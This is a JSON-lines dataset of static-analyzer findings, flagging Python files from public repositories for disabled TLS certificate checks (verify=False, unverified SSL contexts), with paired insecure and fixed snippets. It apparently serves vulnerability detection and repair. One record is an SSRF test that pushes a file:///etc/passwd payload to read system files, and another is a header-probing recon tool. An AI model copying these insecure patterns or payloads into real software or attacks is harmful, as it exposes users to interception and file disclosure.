{"id": "488b0b37ff38ec2a53e7312373f8af741465f43cd12f51ea2f2b9a9ffcfcc73e", "license": {"spdx": ["MIT"], "repo": "lx0hacker/xinling", "path": "main.py", "repo_head_hexsha": "6411cfacd90a4b1a291545744252b7e05e88d33b", "stack_hexsha": "745591f3c3a8fe1b0c22eb517aa17dbfc93facac", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 41, "entireCode": "#!/usr/bin/env python \n#-*- coding:utf-8 -*-\n'''\n@author: lx0hacker\n@date:2018-02-07\n'''\nimport requests\nfrom urllib.parse import unquote,urlparse\nimport re\nimport os\nimport os.path\nfrom bs4 import BeautifulSoup\nrequests.packages.urllib3.disable_warnings()\nimport time\nimport random\n\n'''\n@url : 漫画的入口\n@return 创建的文件夹的名字\n'''\ndef get_folder(url):\n    o = urlparse(url)\n    s = re.match(r'\\/comedy\\/(.*?)\\/(.*?)\\/viewer',o.path)\n    sub_folder = unquote(s.group(2))\n    return sub_folder\n'''\n@folder 要创建的文件夹的名字\n'''\ndef is_exists(folder):\n    if not os.path.exists(folder):\n        return False\n    else:\n        return True\n\n'''\n@url 漫画的入口\n@return 每个图片的实际地址\n'''\ndef get_img(url):\n    data_url = []\n    r = requests.get(url,verify=False)\n    soup = BeautifulSoup(r.text,\"html.parser\")\n    img_list = soup.find(id='_imageList').find_all('img')\n    for img in img_list:\n        data_url.append(img.get('data-url'))\n    return data_url\n\n'''\n@referer 漫画的入口\n@folder 存储的文件夹\n'''\ndef save_img(referer,folder):\n    headers = {\n        \"Referer\":referer\n    }\n    data_url = get_img(referer)\n    i=0\n    for img_url in data_url:\n        time.sleep(random.uniform(0.1,0.8))\n        r =requests.get(img_url,headers=headers,verify=False)\n        if r.status_code != 200:\n            print('估计网络出现问题。status code : {}'.format(r.status_code))\n            print('先暂停5秒')\n            time.sleep(5)\n            r = requests.get(img_url,headers=headers,verify=False)\n            if r.status_code !=200:\n                print(\"error! status code :{}\".format(r.status_code))\n                return \n\n        print('正在爬取漫画里面每个图片的地址.........')\n        with open(folder+'/'+str(i)+'.jpg','wb')as f:\n            f.write(r.content)\n        i+=1\n\n'''\n@url 漫画的入口\n'''\ndef start(url,folder):    \n    flag = is_exists(url)\n    if not flag:\n        print('往'+folder+'写入图片..........')\n        os.mkdir(folder)\n        save_img(url,folder)\n    else:\n        print(folder+'已经存在了!!!!!!!!!!!')\n        #\n\n\nif __name__ == \"__main__\":\n    print('如果你存放的目录不一致,将重新下载!!!')    \n    url = input('输入第一话漫画的地址: ')\n    parent_folder = input('请输入存放漫画的名字: ')\n\n    if not os.path.exists(parent_folder):\n        os.mkdir(parent_folder)\n        \n    os.chdir(parent_folder)\n    num = len([x for x in os.listdir('.') if os.path.isdir(x)])\n\n    while True:\n        #在这里增加参数从而爬取所有的漫画。注意选取的是跳转的url\n        num+=1\n        url = re.sub('episode_no=.*','episode_no='+str(num),url)\n        r= requests.get(url)\n        url =r.url\n        sub_folder = get_folder(url)\n        \n        if r.status_code == 200:\n            start(url,sub_folder)\n        elif r.status_code ==404:\n            print('网页404, 没有更多了......')\n            break\n        else:\n            print('网络出错了: %s'%status_code)\n            break\n\n        \n        \n        \n\n", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 41, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "70064f794feef5b7203c3d11743a206454939f7a4911ecd2841f47059b204e87", "license": {"spdx": ["ISC"], "repo": "geirskjo/act-bootstrap", "path": "bootstrap/misp-threat-actors.py", "repo_head_hexsha": "99571716cc309c93ed7c703aa46dccd3e06f72b1", "stack_hexsha": "239cce15dc9a5350c7bb3614a0fd0b77ae588509", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 44, "entireCode": "#!/usr/bin/env python3\n\nimport argparse\nimport csv\nfrom logging import error, warning\n\nimport requests\nimport urllib3\n\nimport act\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\ndef parseargs():\n    \"\"\" Parse arguments \"\"\"\n    parser = argparse.ArgumentParser(\n        description='Get Threat Actors (MISP Galaxy)')\n    parser.add_argument(\n        '--userid',\n        dest='user_id',\n        required=True,\n        help=\"User ID\")\n    parser.add_argument(\n        '--act-baseurl',\n        dest='act_baseurl',\n        required=True,\n        help='ACT API URI')\n    parser.add_argument(\n        \"--logfile\",\n        dest=\"log_file\",\n        help=\"Log to file (default = stdout)\")\n    parser.add_argument(\n        \"--loglevel\",\n        dest=\"log_level\",\n        default=\"info\",\n        help=\"Loglevel (default = info)\")\n\n    return parser.parse_args()\n\n\ndef get_misp_threat_actors():\n    url = \"https://raw.githubusercontent.com/MISP/misp-galaxy/master/clusters/threat-actor.json\"\n    r = requests.get(url, verify=False)\n    return r.json()\n\n\ndef countrylist():\n    url = \"http://download.geonames.org/export/dump/countryInfo.txt\"\n    r = requests.get(url, verify=False)\n\n    countries = {\n        \"iso\": {},\n        \"iso3\": {},\n        \"fips\": {}\n    }\n\n    for row in csv.reader(\n            [line for line in r.text.splitlines() if line[0] != '#'],\n            delimiter='\\t'):\n        countries[\"iso\"][row[0]] = row[4]\n        countries[\"iso3\"][row[1]] = row[4]\n        countries[\"fips\"][row[3]] = row[4]\n\n    return countries\n\n\ndef add_to_act(client, ta_list):\n    countries = countrylist()\n\n    for ta in ta_list[\"values\"]:\n        name = ta[\"value\"]\n\n        if \"meta\" not in ta:\n            warning(\"Missing meta information in MISP on Threat Actor {}\".format(name))\n            continue\n\n        aliases = ta[\"meta\"].get(\"synonyms\", [])\n        country = ta[\"meta\"].get(\"country\", None)\n\n        location = None\n\n        if country and country in countries[\"iso\"]:\n            location = countries[\"iso\"][country]\n        elif country and country in countries[\"iso3\"]:\n            location = countries[\"iso3\"][country]\n            error(\n                \"country code is not valid ISO code, but found match in iso3: %s\\n\" %\n                country)\n        elif country and country in countries[\"fips\"]:\n            location = countries[\"fips\"][country]\n            error(\n                \"country code is not valid ISO code, but found match in fips3: %s\\n\" %\n                country)\n        else:\n            location = None\n\n        if location:\n            client.fact(\"sourceGeography\")\\\n                .destination(\"location\", location)\\\n                .source(\"threatActor\", name)\\\n                .add()\n\n        elif country:\n            warning(\n                \"country code not found in ISO, ISO3 or FIPS: %s\\n\" %\n                country)\n\n        # Loop over all items under indicators in report\n        for alias in aliases:\n            if alias == name:\n                continue  # Do not alias to ourself\n            client.fact(\"threatActorAlias\")\\\n                .bidirectional(\"threatActor\", alias, \"threatActor\", name)\\\n                .add()\n\n\nif __name__ == '__main__':\n    args = parseargs()\n\n    client = act.Act(\n        args.act_baseurl,\n        args.user_id,\n        args.log_level,\n        args.log_file,\n        \"misp-threat-actors\")\n\n    # Get all reports from SCIO\n    ta = get_misp_threat_actors()\n\n    # Add IOCs from reports to the ACT platform\n    add_to_act(client, ta)", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 44, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "4739614f77e1aa8dbc374b9bc4e26d79b5636e1b67e42f218942a820a64c4720", "license": {"spdx": ["MIT"], "repo": "mrdulin/python-codelab", "path": "src/use-api/hack-news/hn_submissions.py", "repo_head_hexsha": "3d960a14a96b3a673b7dc2277d202069b1f8e778", "stack_hexsha": "8a0528c6211294a0057e81e20c097743edf87bf0", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 8, "entireCode": "import requests\nfrom operator import itemgetter\nimport os\n\nurl = 'https://hacker-news.firebaseio.com/v0/topstories.json'\n# /Users/ldu020/workspace/github.com/mrdulin/python-codelab/venv/lib/python3.7/site-packages/urllib3/connectionpool.py:1004: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings\n# InsecureRequestWarning,\nr = requests.get(url, verify=False)\nprint('Status code: ', r.status_code)\n\nsubmission_ids = r.json()\nsubmission_dicts = []\n\nfor submission_id in submission_ids[:30]:\n    url = 'https://hacker-news.firebaseio.com/v0/item/' + \\\n        str(submission_id) + '.json'\n    submission_r = requests.get(url, verify=False)\n    print(submission_r.status_code)\n    response_dict = submission_r.json()\n    submission_dict = {\n        'title': response_dict['title'],\n        'link': 'https://news.ycombinator.com/item?id=' + str(submission_id),\n        'comments': response_dict.get('descendants', 0)\n    }\n    submission_dicts.append(submission_dict)\n\nsubmission_dicts = sorted(submission_dicts, key=itemgetter('comments'))\n\nfor submission_dict in submission_dicts:\n    print('\\nTitle: ', submission_dict['title'])\n    print('Discussion Link: ', submission_dict['link'])\n    print('Comments: ', submission_dict['comments'])", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "abb4c590f49de80f81b4fe566b315312d3f11e19c53cbd43d5b0fa2e3a60694d", "license": {"spdx": ["MIT"], "repo": "sebrink/SILVEROCELOT", "path": "test_folder/test_ssrf.py", "repo_head_hexsha": "c47dcd1f031007471d635d995b679ee85c1e5857", "stack_hexsha": "02933502a2b74069113e71566fd35e871b528fea", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 5, "entireCode": "import requests\n\ndef test_1_ssrf():\n    params = {'username':'new', 'password':'', 'recap':''}\n    page = requests.get('https://localhost/python/signin.py', params=params, verify=False)\n    page.encoding = 'utf-8'\n    cookiename = page.text.strip().split(';')[0].split('=')[0]\n    cookievalue = page.text.strip().split(';')[0].split('=')[1]\n    cookies = {cookiename: cookievalue}\n    params = {'fileinlink':'file:///etc/passwd', 'videoname':'passwords', 'filein':' '}\n    page = requests.get('https://localhost/python/upload.py', params=params, cookies=cookies, verify=False)\n    page = requests.get('https://localhost/videos/new_passwords', cookies=cookies, verify=False)\n    assert 'root' in page.text", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "ce5389ec3410ce3ab8b7e29b5ab78d83575daea1e34b34e49cf86e8af8da6398", "license": {"spdx": ["Apache-2.0"], "repo": "upenderadepu/crimson", "path": "scripts/crimson_rewriter.py", "repo_head_hexsha": "00916e4adf63f870b85af00ba40541fef0631204", "stack_hexsha": "1245bbd1dd0070edda1f1118b84ba327c68e04c8", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 58, "entireCode": "# coding: utf-8\n#\n#\n### CREATED BY KARMAZ\n#\n### FUNCTIONS\n#\n# 1. CHECK IF X-Original-Url AND X-Rewrite-Url IS HANDLED BY THE SERVER\n#\n###\n\nimport sys, getopt, requests, urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nfrom tqdm import tqdm\n\n### OPTIONS ---\nargument_list = sys.argv[1:]\nshort_options = \"w:c:H:o:h\"\nlong_options = [\"wordlist\", \"cookies\", \"header\", \"output\", \"help\"]\ntry:\n    arguments, values = getopt.getopt(argument_list, short_options, long_options)\nexcept getopt.error as err:\n    print(err)\n    sys.exit(2)\n### --- (They will be iterated at the bottom of the screen ---\n\ndef helper():\n    '''Print usage in case of wrong options or arguments being used'''\n    print(\"\"\"\\033[0;31m\n██████╗ ███████╗██╗    ██╗██████╗ ██╗████████╗███████╗██████╗ \n██╔══██╗██╔════╝██║    ██║██╔══██╗██║╚══██╔══╝██╔════╝██╔══██╗\n██████╔╝█████╗  ██║ █╗ ██║██████╔╝██║   ██║   █████╗  ██████╔╝\n██╔══██╗██╔══╝  ██║███╗██║██╔══██╗██║   ██║   ██╔══╝  ██╔══██╗\n██║  ██║███████╗╚███╔███╔╝██║  ██║██║   ██║   ███████╗██║  ██║\n╚═╝  ╚═╝╚══════╝ ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝   ╚═╝   ╚══════╝╚═╝  ╚═╝\\033[0m\"\"\")\n    print(\"\\nUSAGE: python crimson_rewriter.py -w [wordlist_with_urls] -H [headers] -c [Cookie: a=1;] -h [show_help]\")\n\ndef load_wordlist(wordlist_filepath):\n    '''Importing wordlist line by line into an array'''\n    with open(wordlist_filepath) as f:\n        new_wordlist = [\",\".join(line.split(\",\")).strip() for line in f.readlines()]\n    return new_wordlist\n\ndef import_cookies(cookie):\n    '''Importing cookies from header f.e. \"Cookie: auth1=qwe; auth2=asd;\" '''\n    cookies = {}\n    #cookie_header = cookie.split(\":\")[0]\n    cookie_values = cookie.split(\":\")[1].split(\";\")[:-1]\n    for q in cookie_values:\n        cookies.update(dict([q.lstrip().split(\"=\")]))\n    return cookies\n\ndef rewriter_check(urls,headers,cookies):\n    output_list = []\n    print(\"\\033[0;31m [+]\\033[0m REWRITER PROGRESS\")\n    for url in tqdm(urls):\n        try:\n            r1 = requests.get(url.rstrip(), verify=False)\n            r2 = requests.get(url.rstrip(), verify=False, headers={'X-Original-Url':'/doesnotextist123'})\n            r3 = requests.get(url.rstrip(), verify=False, headers={'X-Rewrite-Url':'/doesnotexist321'})\n            if r1.status_code != r2.status_code:\n                output_list.append(\"[+] ORIGINAL HEADER FOUND: \" + r2.url)\n            elif r1.status_code != r3.status_code:\n                output_list.append(\"[+] REWRITE HEADER FOUND: \" + r1.url)\n        except KeyboardInterrupt:\n            sys.exit(0)\n        except:\n            pass\n    return output_list\n\n\ndef logs_saver(logs_list, logs_name):\n    with open(logs_name, 'w') as f:\n        for log in logs_list:\n            print >> f, log\n\n\n### OPTIONS ---\nheaders = {}\ncookies ={}\nshow_help = False\ntry: logs_name\nexcept NameError: logs_name = None\nfor current_argument, current_value in arguments:\n    if current_argument in (\"-w\", \"--wordlist\"):\n        list_of_urls = current_value\n    elif current_argument in (\"-c\", \"--cookies\"):\n        cookies = current_value\n    elif current_argument in (\"-H\", \"--header\"):\n        headers.update([current_value.split(\"=\")])\n    elif current_argument in (\"-o\", \"--output\"):\n        output = current_value\n    elif current_argument in (\"-h\", \"--help\"):\n        show_help = True\n\n\n### MAIN\nif __name__ == '__main__':\n    if show_help:\n        helper()\n    else:\n        urls = load_wordlist(list_of_urls)\n        if cookies:\n            cookies = import_cookies(cookies)\n        output_list = rewriter_check(urls, headers, cookies)\n        if logs_name is not None:\n            logs_saver(output_list, logs_name)\n        else:\n            for element in output_list:\n                print(element.rstrip())", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 58, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "e9e4d26846cdc18635407e16b21a6cc955f33550b96a1aef33a74f8f5f990487", "license": {"spdx": ["MIT"], "repo": "vahini01/electoral_rolls", "path": "tools/utils.py", "repo_head_hexsha": "82e42a6ee68844b1c8ac7899e8e7bf7a24e48d44", "stack_hexsha": "d9a268f19adc7700cf1335eb9dfc2c8d74c5a4dc", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 21, "entireCode": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 10 23:28:58 2017\n\n@author: dhingratul\n\"\"\"\nimport urllib.request\nimport os\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\nfrom bs4 import BeautifulSoup\nimport ssl\nimport requests\nimport wget\nfrom PyPDF2 import PdfFileReader\n\n\ndef download_file(pdf_url, mdir, filename, flag=False):\n    if flag is True:\n        context = ssl._create_unverified_context()\n        response = urllib.request.urlopen(pdf_url, context=context)\n    else:\n        response = urllib.request.urlopen(pdf_url)\n\n    filename = mdir + filename\n    file = open(filename, 'wb')\n    file.write(response.read())\n    if os.stat(filename).st_size == 0:\n        flag = 0\n    else:\n        flag = 1\n    file.close()\n    return flag\n\n\ndef download_file_R(pdf_url, mdir, filename, file_out):\n    requests.packages.urllib3.disable_warnings()\n    while True:  # Keep trying until the webpage successfully downloads\n        try:\n            r = requests.get(pdf_url, verify=False, timeout=10)\n            break  # If it downloads, get out and get on with life\n        # If it doesn't download after the timeout period, an exceptions is thrown, and we try again\n        except requests.exceptions.RequestException as e:\n            with open(file_out, \"a\") as myfile:\n                myfile.write(pdf_url + '\\n')\n\n    filename = mdir + filename\n    with open(filename,  'wb') as f:\n        f.write(r.content)\n    if os.stat(filename).st_size == 0:\n        flag = 0\n    else:\n        flag = 1\n\n    return flag\n\n\ndef download_file_W(pdf_url, mdir, filename, flag=False):\n    filename = mdir + filename\n    ssl._create_default_https_context = ssl._create_unverified_context\n    wget.download(pdf_url, filename)\n    if os.stat(filename).st_size == 0:\n        flag = 0\n    else:\n        flag = 1\n    return flag\n\n\ndef getDriver(url):\n    driver = webdriver.Chrome()\n    driver.get(url)\n    return driver\n\n\ndef is_valid_pdf(fn):\n    \"\"\"Check is the PDF valid \"\"\"\n    try:\n        with open(fn, 'rb') as f:\n            pdf = PdfFileReader(f)\n            numpages = pdf.numPages\n        return (numpages > 0)\n    except Exception as e:\n        return False", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 20, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "20"}}, {"lineNo": 21, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "4d99a3070db4b97b9340205feb2ee89e33bf24e0e3e4c55be563e28c25d5ac6c", "license": {"spdx": ["BSD-3-Clause"], "repo": "FZJ-JSC/jupyter-jsc-jupyterhub-collection", "path": "j4j_handler/api_token_handler/j4j_api_token.py", "repo_head_hexsha": "3fbb83da6e356df57bbdd24269157944f7fcd2a5", "stack_hexsha": "2b5e05f42038359b8b6d7bc3e1f4fce4a8ff9ec7", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 80, "entireCode": "'''\nCreated on May 10, 2019\n\n@author: kreuzer\n'''\nimport json\nimport uuid\nimport base64\nimport time\nimport requests\nimport os\n\nfrom contextlib import closing\n\nfrom jupyterhub.orm import APIToken, User\nfrom jupyterhub.apihandlers.base import APIHandler\n\nclass J4J_APITokenHandler(APIHandler):\n    async def 